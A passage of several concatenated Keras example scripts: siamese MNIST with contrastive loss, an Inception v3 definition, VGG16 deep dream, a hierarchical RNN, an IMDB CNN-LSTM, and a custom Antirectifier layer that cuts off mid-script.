    return K.sqrt(K.sum(K.square(x - y), axis=1, keepdims=True))


def eucl_dist_output_shape(shapes):
    shape1, shape2 = shapes
    return (shape1[0], 1)


def contrastive_loss(y_true, y_pred):
    '''Contrastive loss from Hadsell-et-al.'06
    http://yann.lecun.com/exdb/publis/pdf/hadsell-chopra-lecun-06.pdf
    '''
    margin = 1
    return K.mean(y_true * K.square(y_pred) + (1 - y_true) * K.square(K.maximum(margin - y_pred, 0)))


def create_pairs(x, digit_indices):
    '''Positive and negative pair creation.
    Alternates between positive and negative pairs.
    '''
    pairs = []
    labels = []
    n = min([len(digit_indices[d]) for d in range(10)]) - 1
    for d in range(10):
        for i in range(n):
            z1, z2 = digit_indices[d][i], digit_indices[d][i+1]
            pairs += [[x[z1], x[z2]]]
            inc = random.randrange(1, 10)
            dn = (d + inc) % 10
            z1, z2 = digit_indices[d][i], digit_indices[dn][i]
            pairs += [[x[z1], x[z2]]]
            labels += [1, 0]
    return np.array(pairs), np.array(labels)


def create_base_network(input_dim):
    '''Base network to be shared (eq. to feature extraction).
    '''
    seq = Sequential()
    seq.add(Dense(128, input_shape=(input_dim,), activation='relu'))
    seq.add(Dropout(0.1))
    seq.add(Dense(128, activation='relu'))
    seq.add(Dropout(0.1))
    seq.add(Dense(128, activation='relu'))
    return seq


def compute_accuracy(predictions, labels):
    '''Compute classification accuracy with a fixed threshold on distances.
    '''
    return labels[predictions.ravel() < 0.5].mean()


# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = mnist.load_data()
X_train = X_train.reshape(60000, 784)
X_test = X_test.reshape(10000, 784)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255
input_dim = 784
nb_epoch = 20

# create training+test positive and negative pairs
digit_indices = [np.where(y_train == i)[0] for i in range(10)]
tr_pairs, tr_y = create_pairs(X_train, digit_indices)

digit_indices = [np.where(y_test == i)[0] for i in range(10)]
te_pairs, te_y = create_pairs(X_test, digit_indices)

# network definition
base_network = create_base_network(input_dim)

input_a = Input(shape=(input_dim,))
input_b = Input(shape=(input_dim,))

# because we re-use the same instance `base_network`,
# the weights of the network
# will be shared across the two branches
processed_a = base_network(input_a)
processed_b = base_network(input_b)

distance = Lambda(euclidean_distance, output_shape=eucl_dist_output_shape)([processed_a, processed_b])

model = Model(input=[input_a, input_b], output=distance)

# train
rms = RMSprop()
model.compile(loss=contrastive_loss, optimizer=rms)
model.fit([tr_pairs[:, 0], tr_pairs[:, 1]], tr_y,
          validation_data=([te_pairs[:, 0], te_pairs[:, 1]], te_y),
          batch_size=128,
          nb_epoch=nb_epoch)

# compute final accuracy on training and test sets
pred = model.predict([tr_pairs[:, 0], tr_pairs[:, 1]])
tr_acc = compute_accuracy(pred, tr_y)
pred = model.predict([te_pairs[:, 0], te_pairs[:, 1]])
te_acc = compute_accuracy(pred, te_y)

print('* Accuracy on training set: %0.2f%%' % (100 * tr_acc))
print('* Accuracy on test set: %0.2f%%' % (100 * te_acc))






'''This script demonstrates how to build the Inception v3 architecture
using the Keras functional API.
We are not actually training it here, for lack of appropriate data.

For more information about this architecture, see:

"Rethinking the Inception Architecture for Computer Vision"
Christian Szegedy, Vincent Vanhoucke, Sergey Ioffe, Jonathon Shlens, Zbigniew Wojna
http://arxiv.org/abs/1512.00567
'''
from keras.layers import Convolution2D, MaxPooling2D, AveragePooling2D
from keras.layers import BatchNormalization, Flatten, Dense, Dropout
from keras.layers import Input, merge
from keras.models import Model
from keras import regularizers


# global constants
NB_CLASS = 1000  # number of classes
DIM_ORDERING = 'th'  # 'th' (channels, width, height) or 'tf' (width, height, channels)
WEIGHT_DECAY = 0.  # L2 regularization factor
USE_BN = False  # whether to use batch normalization


def conv2D_bn(x, nb_filter, nb_row, nb_col,
              border_mode='same', subsample=(1, 1),
              activation='relu', batch_norm=USE_BN,
              weight_decay=WEIGHT_DECAY, dim_ordering=DIM_ORDERING):
    '''Utility function to apply to a tensor a module conv + BN
    with optional weight decay (L2 weight regularization).
    '''
    if weight_decay:
        W_regularizer = regularizers.l2(weight_decay)
        b_regularizer = regularizers.l2(weight_decay)
    else:
        W_regularizer = None
        b_regularizer = None
    x = Convolution2D(nb_filter, nb_row, nb_col,
                      subsample=subsample,
                      activation=activation,
                      border_mode=border_mode,
                      W_regularizer=W_regularizer,
                      b_regularizer=b_regularizer,
                      dim_ordering=dim_ordering)(x)
    if batch_norm:
        x = BatchNormalization()(x)
    return x

# Define image input layer

if DIM_ORDERING == 'th':
    img_input = Input(shape=(3, 299, 299))
    CONCAT_AXIS = 1
elif DIM_ORDERING == 'tf':
    img_input = Input(shape=(299, 299, 3))
    CONCAT_AXIS = 3
else:
    raise Exception('Invalid dim ordering: ' + str(DIM_ORDERING))

# Entry module

x = conv2D_bn(img_input, 32, 3, 3, subsample=(2, 2), border_mode='valid')
x = conv2D_bn(x, 32, 3, 3, border_mode='valid')
x = conv2D_bn(x, 64, 3, 3)
x = MaxPooling2D((3, 3), strides=(2, 2), dim_ordering=DIM_ORDERING)(x)

x = conv2D_bn(x, 80, 1, 1, border_mode='valid')
x = conv2D_bn(x, 192, 3, 3, border_mode='valid')
x = MaxPooling2D((3, 3), strides=(2, 2), dim_ordering=DIM_ORDERING)(x)

# mixed: 35 x 35 x 256

branch1x1 = conv2D_bn(x, 64, 1, 1)

branch5x5 = conv2D_bn(x, 48, 1, 1)
branch5x5 = conv2D_bn(branch5x5, 64, 5, 5)

branch3x3dbl = conv2D_bn(x, 64, 1, 1)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 32, 1, 1)
x = merge([branch1x1, branch5x5, branch3x3dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed_1: 35 x 35 x 288

branch1x1 = conv2D_bn(x, 64, 1, 1)

branch5x5 = conv2D_bn(x, 48, 1, 1)
branch5x5 = conv2D_bn(branch5x5, 64, 5, 5)

branch3x3dbl = conv2D_bn(x, 64, 1, 1)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 64, 1, 1)
x = merge([branch1x1, branch5x5, branch3x3dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed2: 35 x 35 x 288

branch1x1 = conv2D_bn(x, 64, 1, 1)

branch5x5 = conv2D_bn(x, 48, 1, 1)
branch5x5 = conv2D_bn(branch5x5, 64, 5, 5)

branch3x3dbl = conv2D_bn(x, 64, 1, 1)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 64, 1, 1)
x = merge([branch1x1, branch5x5, branch3x3dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed3: 17 x 17 x 768

branch3x3 = conv2D_bn(x, 384, 3, 3, subsample=(2, 2), border_mode='valid')

branch3x3dbl = conv2D_bn(x, 64, 1, 1)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3)
branch3x3dbl = conv2D_bn(branch3x3dbl, 96, 3, 3, subsample=(2, 2), border_mode='valid')

branch_pool = MaxPooling2D((3, 3), strides=(2, 2), dim_ordering=DIM_ORDERING)(x)
x = merge([branch3x3, branch3x3dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed4: 17 x 17 x 768

branch1x1 = conv2D_bn(x, 192, 1, 1)

branch7x7 = conv2D_bn(x, 128, 1, 1)
branch7x7 = conv2D_bn(branch7x7, 128, 1, 7)
branch7x7 = conv2D_bn(branch7x7, 192, 7, 1)

branch7x7dbl = conv2D_bn(x, 128, 1, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 128, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 128, 1, 7)
branch7x7dbl = conv2D_bn(branch7x7dbl, 128, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch7x7, branch7x7dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed5: 17 x 17 x 768

branch1x1 = conv2D_bn(x, 192, 1, 1)

branch7x7 = conv2D_bn(x, 160, 1, 1)
branch7x7 = conv2D_bn(branch7x7, 160, 1, 7)
branch7x7 = conv2D_bn(branch7x7, 192, 7, 1)

branch7x7dbl = conv2D_bn(x, 160, 1, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 1, 7)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch7x7, branch7x7dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed5: 17 x 17 x 768

branch1x1 = conv2D_bn(x, 192, 1, 1)

branch7x7 = conv2D_bn(x, 160, 1, 1)
branch7x7 = conv2D_bn(branch7x7, 160, 1, 7)
branch7x7 = conv2D_bn(branch7x7, 192, 7, 1)

branch7x7dbl = conv2D_bn(x, 160, 1, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 1, 7)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch7x7, branch7x7dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed6: 17 x 17 x 768

branch1x1 = conv2D_bn(x, 192, 1, 1)

branch7x7 = conv2D_bn(x, 160, 1, 1)
branch7x7 = conv2D_bn(branch7x7, 160, 1, 7)
branch7x7 = conv2D_bn(branch7x7, 192, 7, 1)

branch7x7dbl = conv2D_bn(x, 160, 1, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)
branch7x7dbl = conv2D_bn(branch7x7dbl, 160, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch7x7, branch7x7dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed7: 17 x 17 x 768

branch1x1 = conv2D_bn(x, 192, 1, 1)

branch7x7 = conv2D_bn(x, 192, 1, 1)
branch7x7 = conv2D_bn(branch7x7, 192, 1, 7)
branch7x7 = conv2D_bn(branch7x7, 192, 7, 1)

branch7x7dbl = conv2D_bn(x, 160, 1, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 7, 1)
branch7x7dbl = conv2D_bn(branch7x7dbl, 192, 1, 7)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch7x7, branch7x7dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# Auxiliary head

aux_logits = AveragePooling2D((5, 5), strides=(3, 3), dim_ordering=DIM_ORDERING)(x)
aux_logits = conv2D_bn(aux_logits, 128, 1, 1)
aux_logits = conv2D_bn(aux_logits, 728, 5, 5, border_mode='valid')
aux_logits = Flatten()(aux_logits)
aux_preds = Dense(NB_CLASS, activation='softmax')(aux_logits)

# mixed8: 8 x 8 x 1280

branch3x3 = conv2D_bn(x, 192, 1, 1)
branch3x3 = conv2D_bn(branch3x3, 320, 3, 3, subsample=(2, 2), border_mode='valid')

branch7x7x3 = conv2D_bn(x, 192, 1, 1)
branch7x7x3 = conv2D_bn(branch7x7x3, 192, 1, 7)
branch7x7x3 = conv2D_bn(branch7x7x3, 192, 7, 1)
branch7x7x3 = conv2D_bn(branch7x7x3, 192, 3, 3, subsample=(2, 2), border_mode='valid')

branch_pool = AveragePooling2D((3, 3), strides=(2, 2), dim_ordering=DIM_ORDERING)(x)
x = merge([branch3x3, branch7x7x3, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed9: 8 x 8 x 2048

branch1x1 = conv2D_bn(x, 320, 1, 1)

branch3x3 = conv2D_bn(x, 384, 1, 1)
branch3x3_1 = conv2D_bn(branch3x3, 384, 1, 3)
branch3x3_2 = conv2D_bn(branch3x3, 384, 3, 1)
branch3x3 = merge([branch3x3_1, branch3x3_2], mode='concat', concat_axis=CONCAT_AXIS)

branch3x3dbl = conv2D_bn(x, 448, 1, 1)
branch3x3dbl = conv2D_bn(branch3x3dbl, 384, 3, 3)
branch3x3dbl_1 = conv2D_bn(branch3x3dbl, 384, 1, 3)
branch3x3dbl_2 = conv2D_bn(branch3x3dbl, 384, 3, 1)
branch3x3dbl = merge([branch3x3dbl_1, branch3x3dbl_2], mode='concat', concat_axis=CONCAT_AXIS)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch3x3, branch3x3dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# mixed10: 8 x 8 x 2048

branch1x1 = conv2D_bn(x, 320, 1, 1)

branch3x3 = conv2D_bn(x, 384, 1, 1)
branch3x3_1 = conv2D_bn(branch3x3, 384, 1, 3)
branch3x3_2 = conv2D_bn(branch3x3, 384, 3, 1)
branch3x3 = merge([branch3x3_1, branch3x3_2], mode='concat', concat_axis=CONCAT_AXIS)

branch3x3dbl = conv2D_bn(x, 448, 1, 1)
branch3x3dbl = conv2D_bn(branch3x3dbl, 384, 3, 3)
branch3x3dbl_1 = conv2D_bn(branch3x3dbl, 384, 1, 3)
branch3x3dbl_2 = conv2D_bn(branch3x3dbl, 384, 3, 1)
branch3x3dbl = merge([branch3x3dbl_1, branch3x3dbl_2], mode='concat', concat_axis=CONCAT_AXIS)

branch_pool = AveragePooling2D((3, 3), strides=(1, 1), border_mode='same', dim_ordering=DIM_ORDERING)(x)
branch_pool = conv2D_bn(branch_pool, 192, 1, 1)
x = merge([branch1x1, branch3x3, branch3x3dbl, branch_pool], mode='concat', concat_axis=CONCAT_AXIS)

# Final pooling and prediction

x = AveragePooling2D((8, 8), strides=(1, 1), dim_ordering=DIM_ORDERING)(x)
x = Dropout(0.5)(x)
x = Flatten()(x)
preds = Dense(NB_CLASS, activation='softmax')(x)

# Define model

model = Model(input=img_input, output=[preds, aux_preds])
model.compile('rmsprop', 'categorical_crossentropy')

# train via e.g. `model.fit(x_train, [y_train] * 2, batch_size=32, nb_epoch=100)`
# Note that for a large dataset it would be preferable
# to train using `fit_generator` (see Keras docs).






'''Deep Dreaming in Keras.

Run the script with:
```
python deep_dream.py path_to_your_base_image.jpg prefix_for_results
```
e.g.:
```
python deep_dream.py img/mypic.jpg results/dream
```

It is preferable to run this script on GPU, for speed.
If running on CPU, prefer the TensorFlow backend (much faster).

Example results: http://i.imgur.com/FX6ROg9.jpg
'''
from __future__ import print_function
from scipy.misc import imread, imresize, imsave
import numpy as np
from scipy.optimize import fmin_l_bfgs_b
import time
import argparse
import h5py
import os

from keras.models import Sequential
from keras.layers import Convolution2D, ZeroPadding2D, MaxPooling2D
from keras import backend as K

parser = argparse.ArgumentParser(description='Deep Dreams with Keras.')
parser.add_argument('base_image_path', metavar='base', type=str,
                    help='Path to the image to transform.')
parser.add_argument('result_prefix', metavar='res_prefix', type=str,
                    help='Prefix for the saved results.')

args = parser.parse_args()
base_image_path = args.base_image_path
result_prefix = args.result_prefix

# dimensions of the generated picture.
img_width = 600
img_height = 600

# path to the model weights file.
weights_path = 'vgg16_weights.h5'

# some settings we found interesting
saved_settings = {
    'bad_trip': {'features': {'conv4_1': 0.05,
                              'conv4_2': 0.01,
                              'conv4_3': 0.01},
                 'continuity': 0.1,
                 'dream_l2': 0.8,
                 'jitter': 5},
    'dreamy': {'features': {'conv5_1': 0.05,
                            'conv5_2': 0.02},
               'continuity': 0.1,
               'dream_l2': 0.02,
               'jitter': 0},
}
# the settings we will use in this experiment
settings = saved_settings['dreamy']

# util function to open, resize and format pictures into appropriate tensors
def preprocess_image(image_path):
    img = imresize(imread(image_path), (img_width, img_height))
    img = img.transpose((2, 0, 1)).astype('float64')
    img = np.expand_dims(img, axis=0)
    return img

# util function to convert a tensor into a valid image
def deprocess_image(x):
    x = x.transpose((1, 2, 0))
    x = np.clip(x, 0, 255).astype('uint8')
    return x

# build the VGG16 network
model = Sequential()
model.add(ZeroPadding2D((1, 1), batch_input_shape=(1, 3, img_width, img_height)))
first_layer = model.layers[-1]
# this is a placeholder tensor that will contain our generated images
dream = first_layer.input

model.add(Convolution2D(64, 3, 3, activation='relu', name='conv1_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(64, 3, 3, activation='relu', name='conv1_2'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(128, 3, 3, activation='relu', name='conv2_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(128, 3, 3, activation='relu', name='conv2_2'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_3'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_3'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_3'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

# load the weights of the VGG16 networks
# (trained on ImageNet, won the ILSVRC competition in 2014)
# note: when there is a complete match between your model definition
# and your weight savefile, you can simply call model.load_weights(filename)
assert os.path.exists(weights_path), 'Model weights not found (see "weights_path" variable in script).'
f = h5py.File(weights_path)
for k in range(f.attrs['nb_layers']):
    if k >= len(model.layers):
        # we don't look at the last (fully-connected) layers in the savefile
        break
    g = f['layer_{}'.format(k)]
    weights = [g['param_{}'.format(p)] for p in range(g.attrs['nb_params'])]
    model.layers[k].set_weights(weights)
f.close()
print('Model loaded.')

# get the symbolic outputs of each "key" layer (we gave them unique names).
layer_dict = dict([(layer.name, layer) for layer in model.layers])

# continuity loss util function
def continuity_loss(x):
    assert K.ndim(x) == 4
    a = K.square(x[:, :, :img_width-1, :img_height-1] - x[:, :, 1:, :img_height-1])
    b = K.square(x[:, :, :img_width-1, :img_height-1] - x[:, :, :img_width-1, 1:])
    return K.sum(K.pow(a + b, 1.25))

# define the loss
loss = K.variable(0.)
for layer_name in settings['features']:
    # add the L2 norm of the features of a layer to the loss
    assert layer_name in layer_dict.keys(), 'Layer ' + layer_name + ' not found in model.'
    coeff = settings['features'][layer_name]
    x = layer_dict[layer_name].output
    shape = layer_dict[layer_name].output_shape
    # we avoid border artifacts by only involving non-border pixels in the loss
    loss -= coeff * K.sum(K.square(x[:, :, 2: shape[2]-2, 2: shape[3]-2])) / np.prod(shape[1:])

# add continuity loss (gives image local coherence, can result in an artful blur)
loss += settings['continuity'] * continuity_loss(dream) / (3 * img_width * img_height)
# add image L2 norm to loss (prevents pixels from taking very high values, makes image darker)
loss += settings['dream_l2'] * K.sum(K.square(dream)) / (3 * img_width * img_height)

# feel free to further modify the loss as you see fit, to achieve new effects...

# compute the gradients of the dream wrt the loss
grads = K.gradients(loss, dream)

outputs = [loss]
if type(grads) in {list, tuple}:
    outputs += grads
else:
    outputs.append(grads)

f_outputs = K.function([dream], outputs)
def eval_loss_and_grads(x):
    x = x.reshape((1, 3, img_width, img_height))
    outs = f_outputs([x])
    loss_value = outs[0]
    if len(outs[1:]) == 1:
        grad_values = outs[1].flatten().astype('float64')
    else:
        grad_values = np.array(outs[1:]).flatten().astype('float64')
    return loss_value, grad_values

# this Evaluator class makes it possible
# to compute loss and gradients in one pass
# while retrieving them via two separate functions,
# "loss" and "grads". This is done because scipy.optimize
# requires separate functions for loss and gradients,
# but computing them separately would be inefficient.
class Evaluator(object):
    def __init__(self):
        self.loss_value = None
        self.grad_values = None

    def loss(self, x):
        assert self.loss_value is None
        loss_value, grad_values = eval_loss_and_grads(x)
        self.loss_value = loss_value
        self.grad_values = grad_values
        return self.loss_value

    def grads(self, x):
        assert self.loss_value is not None
        grad_values = np.copy(self.grad_values)
        self.loss_value = None
        self.grad_values = None
        return grad_values

evaluator = Evaluator()

# run scipy-based optimization (L-BFGS) over the pixels of the generated image
# so as to minimize the loss
x = preprocess_image(base_image_path)
for i in range(5):
    print('Start of iteration', i)
    start_time = time.time()

    # add a random jitter to the initial image. This will be reverted at decoding time
    random_jitter = (settings['jitter'] * 2) * (np.random.random((3, img_width, img_height)) - 0.5)
    x += random_jitter

    # run L-BFGS for 7 steps
    x, min_val, info = fmin_l_bfgs_b(evaluator.loss, x.flatten(),
                                     fprime=evaluator.grads, maxfun=7)
    print('Current loss value:', min_val)
    # decode the dream and save it
    x = x.reshape((3, img_width, img_height))
    x -= random_jitter
    img = deprocess_image(x)
    fname = result_prefix + '_at_iteration_%d.png' % i
    imsave(fname, img)
    end_time = time.time()
    print('Image saved as', fname)
    print('Iteration %d completed in %ds' % (i, end_time - start_time))






"""This is an example of using Hierarchical RNN (HRNN) to classify MNIST digits.

HRNNs can learn across multiple levels of temporal hiearchy over a complex sequence.
Usually, the first recurrent layer of an HRNN encodes a sentence (e.g. of word vectors)
into a  sentence vector. The second recurrent layer then encodes a sequence of
such vectors (encoded by the first layer) into a document vector. This
document vector is considered to preserve both the word-level and
sentence-level structure of the context.

# References
    - [A Hierarchical Neural Autoencoder for Paragraphs and Documents](https://web.stanford.edu/~jurafsky/pubs/P15-1107.pdf)
        Encodes paragraphs and documents with HRNN.
        Results have shown that HRNN outperforms standard
        RNNs and may play some role in more sophisticated generation tasks like
        summarization or question answering.
    - [Hierarchical recurrent neural network for skeleton based action recognition](http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=7298714)
        Achieved state-of-the-art results on skeleton based action recognition with 3 levels
        of bidirectional HRNN combined with fully connected layers.

In the below MNIST example the first LSTM layer first encodes every
column of pixels of shape (28, 1) to a column vector of shape (128,). The second LSTM
layer encodes then these 28 column vectors of shape (28, 128) to a image vector
representing the whole image. A final Dense layer is added for prediction.

After 5 epochs: train acc: 0.9858, val acc: 0.9864
"""
from __future__ import print_function

from keras.datasets import mnist
from keras.models import Sequential, Model
from keras.layers import Input, Dense, TimeDistributed
from keras.layers import LSTM
from keras.utils import np_utils

# Training parameters.
batch_size = 32
nb_classes = 10
nb_epochs = 5

# Embedding dimensions.
row_hidden = 128
col_hidden = 128

# The data, shuffled and split between train and test sets.
(X_train, y_train), (X_test, y_test) = mnist.load_data()

# Reshapes data to 4D for Hierarchical RNN.
X_train = X_train.reshape(X_train.shape[0], 28, 28, 1)
X_test = X_test.reshape(X_test.shape[0], 28, 28, 1)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255
print('X_train shape:', X_train.shape)
print(X_train.shape[0], 'train samples')
print(X_test.shape[0], 'test samples')

# Converts class vectors to binary class matrices.
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)

row, col, pixel = X_train.shape[1:]

# 4D input.
x = Input(shape=(row, col, pixel))

# Encodes a row of pixels using TimeDistributed Wrapper.
encoded_rows = TimeDistributed(LSTM(output_dim=row_hidden))(x)

# Encodes columns of encoded rows.
encoded_columns = LSTM(col_hidden)(encoded_rows)

# Final predictions and model.
prediction = Dense(nb_classes, activation='softmax')(encoded_columns)
model = Model(input=x, output=prediction)
model.compile(loss='categorical_crossentropy',
              optimizer='rmsprop',
              metrics=['accuracy'])

# Training.
model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=nb_epochs,
          verbose=1, validation_data=(X_test, Y_test))

# Evaluation.
scores = model.evaluate(X_test, Y_test, verbose=0)
print('Test loss:', scores[0])
print('Test accuracy:', scores[1])






'''Train a recurrent convolutional network on the IMDB sentiment
classification task.

Gets to 0.8498 test accuracy after 2 epochs. 41s/epoch on K520 GPU.
'''
from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation
from keras.layers import Embedding
from keras.layers import LSTM, GRU, SimpleRNN
from keras.layers import Convolution1D, MaxPooling1D
from keras.datasets import imdb


# Embedding
max_features = 20000
maxlen = 100
embedding_size = 128

# Convolution
filter_length = 5
nb_filter = 64
pool_length = 4

# LSTM
lstm_output_size = 70

# Training
batch_size = 30
nb_epoch = 2

'''
Note:
batch_size is highly sensitive.
Only 2 epochs are needed as the dataset is very small.
'''

print('Loading data...')
(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
print(len(X_train), 'train sequences')
print(len(X_test), 'test sequences')

print('Pad sequences (samples x time)')
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('X_train shape:', X_train.shape)
print('X_test shape:', X_test.shape)

print('Build model...')

model = Sequential()
model.add(Embedding(max_features, embedding_size, input_length=maxlen))
model.add(Dropout(0.25))
model.add(Convolution1D(nb_filter=nb_filter,
                        filter_length=filter_length,
                        border_mode='valid',
                        activation='relu',
                        subsample_length=1))
model.add(MaxPooling1D(pool_length=pool_length))
model.add(LSTM(lstm_output_size))
model.add(Dense(1))
model.add(Activation('sigmoid'))

model.compile(loss='binary_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

print('Train...')
model.fit(X_train, y_train, batch_size=batch_size, nb_epoch=nb_epoch,
          validation_data=(X_test, y_test))
score, acc = model.evaluate(X_test, y_test, batch_size=batch_size)
print('Test score:', score)
print('Test accuracy:', acc)






'''The example demonstrates how to write custom layers for Keras.

We build a custom activation layer called 'Antirectifier',
which modifies the shape of the tensor that passes through it.
We need to specify two methods: `get_output_shape_for` and `call`.

Note that the same result can also be achieved via a Lambda layer.

Because our custom layer is written with primitives from the Keras
backend (`K`), our code can run both on TensorFlow and Theano.
'''

from __future__ import print_function
from keras.models import Sequential
from keras.layers import Dense, Dropout, Layer, Activation
from keras.datasets import mnist
from keras import backend as K
from keras.utils import np_utils


class Antirectifier(Layer):
    '''This is the combination of a sample-wise
    L2 normalization with the concatenation of the
    positive part of the input with the negative part
    of the input. The result is a tensor of samples that are
    twice as large as the input samples.

    It can be used in place of a ReLU.

    # Input shape
        2D tensor of shape (samples, n)

    # Output shape
        2D tensor of shape (samples, 2*n)

    # Theoretical justification
        When applying ReLU, assuming that the distribution
        of the previous output is approximately centered around 0.,
        you are discarding half of your input. This is inefficient.

        Antirectifier allows to return all-positive outputs like ReLU,
        without discarding any data.

        Tests on MNIST show that Antirectifier allows to train networks
        with twice less parameters yet with comparable
        classification accuracy as an equivalent ReLU-based network.
    '''
    def get_output_shape_for(self, input_shape):
        shape = list(input_shape)
        assert len(shape) == 2  # only valid for 2D tensors
        shape[-1] *= 2
        return tuple(shape)

    def call(self, x, mask=None):
        x -= K.mean(x, axis=1, keepdims=True)
        x = K.l2_normalize(x, axis=1)
        pos = K.relu(x)
        neg = K.relu(-x)
        return K.concatenate([pos, neg], axis=1)

# global parameters
batch_size = 128
nb_classes = 10
nb_epoch = 40

# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = mnist.load_data()

X_train = X_train.reshape(60000, 784)
X_test = X_test.reshape(10000, 784)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255
print(X_train.shape[0], 'train samples')
print(X_test.shape[0], 'test samples')

# convert class vectors to binary class matrices
